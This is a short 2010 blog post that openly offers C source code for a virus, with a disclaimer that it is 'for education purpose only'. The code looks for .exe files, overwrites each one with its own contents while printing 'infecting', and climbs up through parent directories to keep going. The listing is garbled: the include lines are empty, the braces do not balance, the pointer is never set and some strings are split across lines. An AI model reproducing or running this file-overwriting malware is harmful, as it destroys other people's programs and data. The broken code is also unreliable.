Tuesday, September 14, 2010

Computer Virus scripts(vbs,c,c++,asp.Net,assembly etc

WARNING-This page contains offensive things that may cause damage and other things too. . . . So take this as your education purpose only. . . . .Not for any official work.

NOTE:
Use this code with your own risk,i'm not responsible for anY things happening while use this. . . . Thank you dear


This is a virus like malicious program in c.. . Use this carefully friend. . . .

"script kiddie"

Code :
A virus program
for you-



#include
#include
#include
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");//open the virus in read mode
host=fopen(f->ff_name,"rb+");//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf("infecting %s
",f->ff_name);
done=findnext(f);
}
}
while(!chdir(".."));
printf("For any querry contact
kidpaddle1990@gmail.com
");

No comments:

Post a Comment